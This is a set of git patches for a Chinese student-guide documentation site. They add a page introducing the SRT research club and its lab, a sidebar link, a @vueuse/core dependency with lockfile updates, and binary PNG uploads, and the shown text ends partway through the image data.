b/4.人工智能/4.1前言.md @@ -88,4 +88,4 @@ # 特别致谢 -特别感谢IIPL(http://iipl.net.cn/)实验室在本章做的贡献! +非常荣幸能在本章中得到 IIPL智能信息处理实验室 http://iipl.net.cn 的宝贵贡献,衷心感谢他们的无私支持与帮助! From 2d6cb9b8e09a3226ecb326ac31cc51f3ff303a84 Mon Sep 17 00:00:00 2001 From: creammm <113745096+creamm-kk@users.noreply.github.com> Date: Fri, 14 Jul 2023 21:59:57 +0800 Subject: [PATCH 35/85] Create SRT.md --- 4.人工智能/SRT.md | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 4.人工智能/SRT.md diff --git a/4.人工智能/SRT.md b/4.人工智能/SRT.md new file mode 100644 index 0000000..2723eb3 --- /dev/null +++ b/4.人工智能/SRT.md @@ -0,0 +1,9 @@ +# SRT社团介绍 + +SRT社团,全名Student Research Trainning,旨在通过真正的科研活动培养本科生的科研能力。SRT社团依托[智能信息处理处理实验室](http://iipl.net.cn/index/list_team.aspx)(IIPL),主要研究方向围绕人工智能,具体来说,包括:计算机视觉,多模态,3D视觉,Slam等领域。有充足且优质的显卡资源,工位资源,以及学长学姐,老师的指导。 +![](https://cdn.nlark.com/yuque/0/2023/jpeg/432943/1689342819938-af714fea-814f-499c-bbe3-ef0e3f105185.jpeg#averageHue=%239ba2a3&clientId=u2dadd124-e8b6-4&from=paste&id=ub10883f6&originHeight=1280&originWidth=1706&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u7ac56774-2f5d-48ae-bc1f-bd09b61670e&title=) +社团每年都在全校范围为智能信息处理实验室招收,培养本科生。本科生进入实验室后跟随导师独立或合作进行科研项目,发表论文。我们届时会在自动化以及通信学院进行宣讲招新,新生在经过1-2学期的培养后,能够具备独立科研的能力。在正式进入实验室前,可以暂时使用社团的工位,进入实验室后可以拥有独立工位以及显卡资源。社团的实验室在科技馆五楼,欢迎大家常来~ +对于每一位新生,我们将教授包括但不限于:pytorch,深度学习基础,卷积神经网络,transformer的知识和使用它们的能力。届时将会有定期随讲授内容发布的任务,完成任务,掌握相应技术且通过考核的同学在与导师交流后可以正式进入实验室。 +同时,实验室推荐社团的本科生到杭电丽水研究院实习。 +当然,在学习人工智能模块时遇到任何问题也都可以咨询我们,我们将在能力范围内尽力给各位解答! +![](https://cdn.nlark.com/yuque/0/2023/jpeg/432943/1689342820047-de41171a-acad-4ba7-83b5-d0db4dfeb887.jpeg#averageHue=%23f0f3f2&clientId=u2dadd124-e8b6-4&from=paste&id=ue0753af9&originHeight=1344&originWidth=750&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ud72566ad-ad4c-494c-9a74-b78a1697671&title=) From 38200e2f863ef5896636c7f8a15526a1ce612dc2 Mon Sep 17 00:00:00 2001 From: creammm <113745096+creamm-kk@users.noreply.github.com> Date: Fri, 14 Jul 2023 22:01:33 +0800 Subject: [PATCH 36/85] Update config.js --- .vitepress/config.js | 1 + 1 file changed, 1 insertion(+) diff --git a/.vitepress/config.js b/.vitepress/config.js index 4b8ae1e..5886a16 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -453,6 +453,7 @@ export default defineConfig({ { text: '4.10科研论文写作', link: '/4.人工智能/4.10科研论文写作' }, { text: '4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents', link: '/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents' }, { text: '4.12本章节内容的局限性', link: '/4.人工智能/4.12本章节内容的局限性' }, + { text: 'SRT社团介绍', link: '/4.人工智能/SRT.md' }, { text: 'FunRec', collapsed: true, From b8fbdf5b55fcb7a69ef9bc6f10078a008b860afa Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 22:06:57 +0800 Subject: [PATCH 37/85] chore: vueuse --- package-lock.json | 59 ++++++++--------------------------------------- package.json | 3 ++- 使用指南.md | 28 ++++++++++++++++++++++ 3 files changed, 39 insertions(+), 51 deletions(-) diff --git a/package-lock.json b/package-lock.json index 4104505..4588f36 100644 --- a/package-lock.json +++ b/package-lock.json @@ -9,6 +9,7 @@ "@codemirror/lang-sql": "^6.5.2", "@jupyterlab/mathjax2": "^3.6.5", "@jupyterlab/theme-light-extension": "^4.0.3", + "@vueuse/core": "^10.2.1", "markdown-it": "^13.0.1" }, "devDependencies": { @@ -195,7 +196,6 @@ "version": "7.22.3", "resolved": "https://repo.huaweicloud.com/repository/npm/@babel/parser/-/parser-7.22.3.tgz", "integrity": "sha512-vrukxyW/ep8UD1UDzOYpTKQ6abgjFoeG6L+4ar9+c5TN9QnlqiOi6QK7LSR5ewm/ERyGkT/Ai6VboNrxhbr9Uw==", - "dev": true, "license": "MIT", "bin": { "parser": "bin/babel-parser.js" @@ -724,7 +724,6 @@ "version": "1.4.15", "resolved": "https://repo.huaweicloud.com/repository/npm/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", - "dev": true, "license": "MIT" }, "node_modules/@jupyter/ydoc": { @@ -1352,8 +1351,7 @@ "node_modules/@types/web-bluetooth": { "version": "0.0.17", "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.17.tgz", - "integrity": "sha512-4p9vcSmxAayx72yn70joFoL44c9MO/0+iVEBIQXe3v2h2SiAsEIo/G5v6ObFWvNKRFjbrVadNf9LqEEZeQPzdA==", - "dev": true + "integrity": "sha512-4p9vcSmxAayx72yn70joFoL44c9MO/0+iVEBIQXe3v2h2SiAsEIo/G5v6ObFWvNKRFjbrVadNf9LqEEZeQPzdA==" }, "node_modules/@vitejs/plugin-vue": { "version": "4.2.3", @@ -1373,7 +1371,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-core/-/compiler-core-3.3.4.tgz", "integrity": "sha512-cquyDNvZ6jTbf/+x+AgM2Arrp6G4Dzbb0R64jiG804HRMfRiFXWI6kqUVqZ6ZR0bQhIoQjB4+2bhNtVwndW15g==", - "dev": true, "license": "MIT", "dependencies": { "@babel/parser": "^7.21.3", @@ -1386,7 +1383,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-dom/-/compiler-dom-3.3.4.tgz", "integrity": "sha512-wyM+OjOVpuUukIq6p5+nwHYtj9cFroz9cwkfmP9O1nzH68BenTTv0u7/ndggT8cIQlnBeOo6sUT/gvHcIkLA5w==", - "dev": true, "license": "MIT", "dependencies": { "@vue/compiler-core": "3.3.4", @@ -1397,7 +1393,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-sfc/-/compiler-sfc-3.3.4.tgz", "integrity": "sha512-6y/d8uw+5TkCuzBkgLS0v3lSM3hJDntFEiUORM11pQ/hKvkhSKZrXW6i69UyXlJQisJxuUEJKAWEqWbWsLeNKQ==", - "dev": true, "license": "MIT", "dependencies": { "@babel/parser": "^7.20.15", @@ -1416,7 +1411,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-ssr/-/compiler-ssr-3.3.4.tgz", "integrity": "sha512-m0v6oKpup2nMSehwA6Uuu+j+wEwcy7QmwMkVNVfrV9P2qE5KshC6RwOCq8fjGS/Eak/uNb8AaWekfiXxbBB6gQ==", - "dev": true, "license": "MIT", "dependencies": { "@vue/compiler-dom": "3.3.4", @@ -1433,7 +1427,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/reactivity/-/reactivity-3.3.4.tgz", "integrity": "sha512-kLTDLwd0B1jG08NBF3R5rqULtv/f8x3rOFByTDz4J53ttIQEDmALqKqXY0J+XQeN0aV2FBxY8nJDf88yvOPAqQ==", - "dev": true, "license": "MIT", "dependencies": { "@vue/shared": "3.3.4" @@ -1443,7 +1436,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/reactivity-transform/-/reactivity-transform-3.3.4.tgz", "integrity": "sha512-MXgwjako4nu5WFLAjpBnCj/ieqcjE2aJBINUNQzkZQfzIZA4xn+0fV1tIYBJvvva3N3OvKGofRLvQIwEQPpaXw==", - "dev": true, "license": "MIT", "dependencies": { "@babel/parser": "^7.20.15", @@ -1457,7 +1449,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/runtime-core/-/runtime-core-3.3.4.tgz", "integrity": "sha512-R+bqxMN6pWO7zGI4OMlmvePOdP2c93GsHFM/siJI7O2nxFRzj55pLwkpCedEY+bTMgp5miZ8CxfIZo3S+gFqvA==", - "dev": true, "license": "MIT", "dependencies": { "@vue/reactivity": "3.3.4", @@ -1468,7 +1459,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/runtime-dom/-/runtime-dom-3.3.4.tgz", "integrity": "sha512-Aj5bTJ3u5sFsUckRghsNjVTtxZQ1OyMWCr5dZRAPijF/0Vy4xEoRCwLyHXcj4D0UFbJ4lbx3gPTgg06K/GnPnQ==", - "dev": true, "license": "MIT", "dependencies": { "@vue/runtime-core": "3.3.4", @@ -1480,7 +1470,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/server-renderer/-/server-renderer-3.3.4.tgz", "integrity": "sha512-Q6jDDzR23ViIb67v+vM1Dqntu+HUexQcsWKhhQa4ARVzxOY2HbC7QRW/ggkDBd5BU+uM1sV6XOAP0b216o34JQ==", - "dev": true, "license": "MIT", "dependencies": { "@vue/compiler-ssr": "3.3.4", @@ -1494,14 +1483,12 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/shared/-/shared-3.3.4.tgz", "integrity": "sha512-7OjdcV8vQ74eiz1TZLzZP4JwqM5fA94K6yntPS5Z25r9HDuGNzaGdgvwKYq6S+MxwF0TFRwe50fIR/MYnakdkQ==", - "dev": true, "license": "MIT" }, "node_modules/@vueuse/core": { "version": "10.2.1", "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-10.2.1.tgz", "integrity": "sha512-c441bfMbkAwTNwVRHQ0zdYZNETK//P84rC01aP2Uy/aRFCiie9NE/k9KdIXbno0eDYP5NPUuWv0aA/I4Unr/7w==", - "dev": true, "dependencies": { "@types/web-bluetooth": "^0.0.17", "@vueuse/metadata": "10.2.1", @@ -1513,7 +1500,6 @@ "version": "0.14.5", "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.5.tgz", "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", - "dev": true, "hasInstallScript": true, "bin": { "vue-demi-fix": "bin/vue-demi-fix.js", @@ -1621,14 +1607,12 @@ "node_modules/@vueuse/metadata": { "version": "10.2.1", "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.2.1.tgz", - "integrity": "sha512-3Gt68mY/i6bQvFqx7cuGBzrCCQu17OBaGWS5JdwISpMsHnMKKjC2FeB5OAfMcCQ0oINfADP3i9A4PPRo0peHdQ==", - "dev": true + "integrity": "sha512-3Gt68mY/i6bQvFqx7cuGBzrCCQu17OBaGWS5JdwISpMsHnMKKjC2FeB5OAfMcCQ0oINfADP3i9A4PPRo0peHdQ==" }, "node_modules/@vueuse/shared": { "version": "10.2.1", "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.2.1.tgz", "integrity": "sha512-QWHq2bSuGptkcxx4f4M/fBYC3Y8d3M2UYyLsyzoPgEoVzJURQ0oJeWXu79OiLlBb8gTKkqe4mO85T/sf39mmiw==", - "dev": true, "dependencies": { "vue-demi": ">=0.14.5" } @@ -1637,7 +1621,6 @@ "version": "0.14.5", "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.5.tgz", "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", - "dev": true, "hasInstallScript": true, "bin": { "vue-demi-fix": "bin/vue-demi-fix.js", @@ -1967,7 +1950,6 @@ "version": "2.0.2", "resolved": "https://repo.huaweicloud.com/repository/npm/estree-walker/-/estree-walker-2.0.2.tgz", "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", - "dev": true, "license": "MIT" }, "node_modules/fast-deep-equal": { @@ -2162,7 +2144,6 @@ "version": "0.30.0", "resolved": "https://repo.huaweicloud.com/repository/npm/magic-string/-/magic-string-0.30.0.tgz", "integrity": "sha512-LA+31JYDJLs82r2ScLrlz1GjSgu66ZV518eyWT+S8VhyQn/JL0u9MeBOvQMGYiPk1DBiSN9DDMOcXvigJZaViQ==", - "dev": true, "license": "MIT", "dependencies": { "@jridgewell/sourcemap-codec": "^1.4.13" @@ -3206,7 +3187,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/vue/-/vue-3.3.4.tgz", "integrity": "sha512-VTyEYn3yvIeY1Py0WaYGZsXnz3y5UnGi62GjVEqvEGPl6nxbOrCXbVOTQWBEJUqAyTUk2uJ5JLVnYJ6ZzGbrSw==", - "dev": true, "license": "MIT", "dependencies": { "@vue/compiler-dom": "3.3.4", @@ -3517,8 +3497,7 @@ "@babel/parser": { "version": "7.22.3", "resolved": "https://repo.huaweicloud.com/repository/npm/@babel/parser/-/parser-7.22.3.tgz", - "integrity": "sha512-vrukxyW/ep8UD1UDzOYpTKQ6abgjFoeG6L+4ar9+c5TN9QnlqiOi6QK7LSR5ewm/ERyGkT/Ai6VboNrxhbr9Uw==", - "dev": true + "integrity": "sha512-vrukxyW/ep8UD1UDzOYpTKQ6abgjFoeG6L+4ar9+c5TN9QnlqiOi6QK7LSR5ewm/ERyGkT/Ai6VboNrxhbr9Uw==" }, "@codemirror/autocomplete": { "version": "6.5.1", @@ -3793,8 +3772,7 @@ "@jridgewell/sourcemap-codec": { "version": "1.4.15", "resolved": "https://repo.huaweicloud.com/repository/npm/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", - "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", - "dev": true + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==" }, "@jupyter/ydoc": { "version": "1.0.2", @@ -4442,8 +4420,7 @@ "@types/web-bluetooth": { "version": "0.0.17", "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.17.tgz", - "integrity": "sha512-4p9vcSmxAayx72yn70joFoL44c9MO/0+iVEBIQXe3v2h2SiAsEIo/G5v6ObFWvNKRFjbrVadNf9LqEEZeQPzdA==", - "dev": true + "integrity": "sha512-4p9vcSmxAayx72yn70joFoL44c9MO/0+iVEBIQXe3v2h2SiAsEIo/G5v6ObFWvNKRFjbrVadNf9LqEEZeQPzdA==" }, "@vitejs/plugin-vue": { "version": "4.2.3", @@ -4456,7 +4433,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-core/-/compiler-core-3.3.4.tgz", "integrity": "sha512-cquyDNvZ6jTbf/+x+AgM2Arrp6G4Dzbb0R64jiG804HRMfRiFXWI6kqUVqZ6ZR0bQhIoQjB4+2bhNtVwndW15g==", - "dev": true, "requires": { "@babel/parser": "^7.21.3", "@vue/shared": "3.3.4", @@ -4468,7 +4444,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-dom/-/compiler-dom-3.3.4.tgz", "integrity": "sha512-wyM+OjOVpuUukIq6p5+nwHYtj9cFroz9cwkfmP9O1nzH68BenTTv0u7/ndggT8cIQlnBeOo6sUT/gvHcIkLA5w==", - "dev": true, "requires": { "@vue/compiler-core": "3.3.4", "@vue/shared": "3.3.4" @@ -4478,7 +4453,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-sfc/-/compiler-sfc-3.3.4.tgz", "integrity": "sha512-6y/d8uw+5TkCuzBkgLS0v3lSM3hJDntFEiUORM11pQ/hKvkhSKZrXW6i69UyXlJQisJxuUEJKAWEqWbWsLeNKQ==", - "dev": true, "requires": { "@babel/parser": "^7.20.15", "@vue/compiler-core": "3.3.4", @@ -4496,7 +4470,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-ssr/-/compiler-ssr-3.3.4.tgz", "integrity": "sha512-m0v6oKpup2nMSehwA6Uuu+j+wEwcy7QmwMkVNVfrV9P2qE5KshC6RwOCq8fjGS/Eak/uNb8AaWekfiXxbBB6gQ==", - "dev": true, "requires": { "@vue/compiler-dom": "3.3.4", "@vue/shared": "3.3.4" @@ -4512,7 +4485,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/reactivity/-/reactivity-3.3.4.tgz", "integrity": "sha512-kLTDLwd0B1jG08NBF3R5rqULtv/f8x3rOFByTDz4J53ttIQEDmALqKqXY0J+XQeN0aV2FBxY8nJDf88yvOPAqQ==", - "dev": true, "requires": { "@vue/shared": "3.3.4" } @@ -4521,7 +4493,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/reactivity-transform/-/reactivity-transform-3.3.4.tgz", "integrity": "sha512-MXgwjako4nu5WFLAjpBnCj/ieqcjE2aJBINUNQzkZQfzIZA4xn+0fV1tIYBJvvva3N3OvKGofRLvQIwEQPpaXw==", - "dev": true, "requires": { "@babel/parser": "^7.20.15", "@vue/compiler-core": "3.3.4", @@ -4534,7 +4505,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/runtime-core/-/runtime-core-3.3.4.tgz", "integrity": "sha512-R+bqxMN6pWO7zGI4OMlmvePOdP2c93GsHFM/siJI7O2nxFRzj55pLwkpCedEY+bTMgp5miZ8CxfIZo3S+gFqvA==", - "dev": true, "requires": { "@vue/reactivity": "3.3.4", "@vue/shared": "3.3.4" @@ -4544,7 +4514,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/runtime-dom/-/runtime-dom-3.3.4.tgz", "integrity": "sha512-Aj5bTJ3u5sFsUckRghsNjVTtxZQ1OyMWCr5dZRAPijF/0Vy4xEoRCwLyHXcj4D0UFbJ4lbx3gPTgg06K/GnPnQ==", - "dev": true, "requires": { "@vue/runtime-core": "3.3.4", "@vue/shared": "3.3.4", @@ -4555,7 +4524,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/server-renderer/-/server-renderer-3.3.4.tgz", "integrity": "sha512-Q6jDDzR23ViIb67v+vM1Dqntu+HUexQcsWKhhQa4ARVzxOY2HbC7QRW/ggkDBd5BU+uM1sV6XOAP0b216o34JQ==", - "dev": true, "requires": { "@vue/compiler-ssr": "3.3.4", "@vue/shared": "3.3.4" @@ -4564,14 +4532,12 @@ "@vue/shared": { "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/shared/-/shared-3.3.4.tgz", - "integrity": "sha512-7OjdcV8vQ74eiz1TZLzZP4JwqM5fA94K6yntPS5Z25r9HDuGNzaGdgvwKYq6S+MxwF0TFRwe50fIR/MYnakdkQ==", - "dev": true + "integrity": "sha512-7OjdcV8vQ74eiz1TZLzZP4JwqM5fA94K6yntPS5Z25r9HDuGNzaGdgvwKYq6S+MxwF0TFRwe50fIR/MYnakdkQ==" }, "@vueuse/core": { "version": "10.2.1", "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-10.2.1.tgz", "integrity": "sha512-c441bfMbkAwTNwVRHQ0zdYZNETK//P84rC01aP2Uy/aRFCiie9NE/k9KdIXbno0eDYP5NPUuWv0aA/I4Unr/7w==", - "dev": true, "requires": { "@types/web-bluetooth": "^0.0.17", "@vueuse/metadata": "10.2.1", @@ -4583,7 +4549,6 @@ "version": "0.14.5", "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.5.tgz", "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", - "dev": true, "requires": {} } } @@ -4611,14 +4576,12 @@ "@vueuse/metadata": { "version": "10.2.1", "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.2.1.tgz", - "integrity": "sha512-3Gt68mY/i6bQvFqx7cuGBzrCCQu17OBaGWS5JdwISpMsHnMKKjC2FeB5OAfMcCQ0oINfADP3i9A4PPRo0peHdQ==", - "dev": true + "integrity": "sha512-3Gt68mY/i6bQvFqx7cuGBzrCCQu17OBaGWS5JdwISpMsHnMKKjC2FeB5OAfMcCQ0oINfADP3i9A4PPRo0peHdQ==" }, "@vueuse/shared": { "version": "10.2.1", "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.2.1.tgz", "integrity": "sha512-QWHq2bSuGptkcxx4f4M/fBYC3Y8d3M2UYyLsyzoPgEoVzJURQ0oJeWXu79OiLlBb8gTKkqe4mO85T/sf39mmiw==", - "dev": true, "requires": { "vue-demi": ">=0.14.5" }, @@ -4627,7 +4590,6 @@ "version": "0.14.5", "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.5.tgz", "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", - "dev": true, "requires": {} } } @@ -4893,8 +4855,7 @@ "estree-walker": { "version": "2.0.2", "resolved": "https://repo.huaweicloud.com/repository/npm/estree-walker/-/estree-walker-2.0.2.tgz", - "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", - "dev": true + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==" }, "fast-deep-equal": { "version": "3.1.3", @@ -5049,7 +5010,6 @@ "version": "0.30.0", "resolved": "https://repo.huaweicloud.com/repository/npm/magic-string/-/magic-string-0.30.0.tgz", "integrity": "sha512-LA+31JYDJLs82r2ScLrlz1GjSgu66ZV518eyWT+S8VhyQn/JL0u9MeBOvQMGYiPk1DBiSN9DDMOcXvigJZaViQ==", - "dev": true, "requires": { "@jridgewell/sourcemap-codec": "^1.4.13" } @@ -5727,7 +5687,6 @@ "version": "3.3.4", "resolved": "https://repo.huaweicloud.com/repository/npm/vue/-/vue-3.3.4.tgz", "integrity": "sha512-VTyEYn3yvIeY1Py0WaYGZsXnz3y5UnGi62GjVEqvEGPl6nxbOrCXbVOTQWBEJUqAyTUk2uJ5JLVnYJ6ZzGbrSw==", - "dev": true, "requires": { "@vue/compiler-dom": "3.3.4", "@vue/compiler-sfc": "3.3.4", diff --git a/package.json b/package.json index b187c05..3e3b3b7 100644 --- a/package.json +++ b/package.json @@ -9,6 +9,7 @@ "@codemirror/lang-sql": "^6.5.2", "@jupyterlab/mathjax2": "^3.6.5", "@jupyterlab/theme-light-extension": "^4.0.3", + "@vueuse/core": "^10.2.1", "markdown-it": "^13.0.1" }, "devDependencies": { @@ -16,4 +17,4 @@ "markdown-it-mathjax3": "^4.3.2", "vitepress": "^1.0.0-beta.5" } -} \ No newline at end of file +} diff --git a/使用指南.md b/使用指南.md index a0c8abd..197adb7 100644 --- a/使用指南.md +++ b/使用指南.md @@ -1,4 +1,32 @@ # 使用指南 + + +- 推荐使用 Chromium 内核的浏览器访问(例如Chrome、Edge)不同浏览器可能表现不一致,您当前的浏览器是:{{ browserType }} + - 推荐使用 `暗色模式` ,以获得更好的阅读体验。点击右上角切换按钮即可切换。 - 电脑端推荐按 `Ctrl + 加号` 将页面放大到 150% 以便于阅读。 From 47e73ff2728e28398093f58cd44b51525506d6a5 Mon Sep 17 00:00:00 2001 From: creammm <113745096+creamm-kk@users.noreply.github.com> Date: Fri, 14 Jul 2023 22:12:51 +0800 Subject: [PATCH 38/85] Add files via upload --- 4.人工智能/static/1280X1280.png | Bin 0 -> 146364 bytes 4.人工智能/static/newqq.png | Bin 0 -> 51173 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 4.人工智能/static/1280X1280.png create mode 100644 4.人工智能/static/newqq.png diff --git a/4.人工智能/static/1280X1280.png b/4.人工智能/static/1280X1280.png new file mode 100644 index 0000000000000000000000000000000000000000..25693bc54296186f30dae3714c066fee1a4b3293 GIT binary patch literal 146364 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 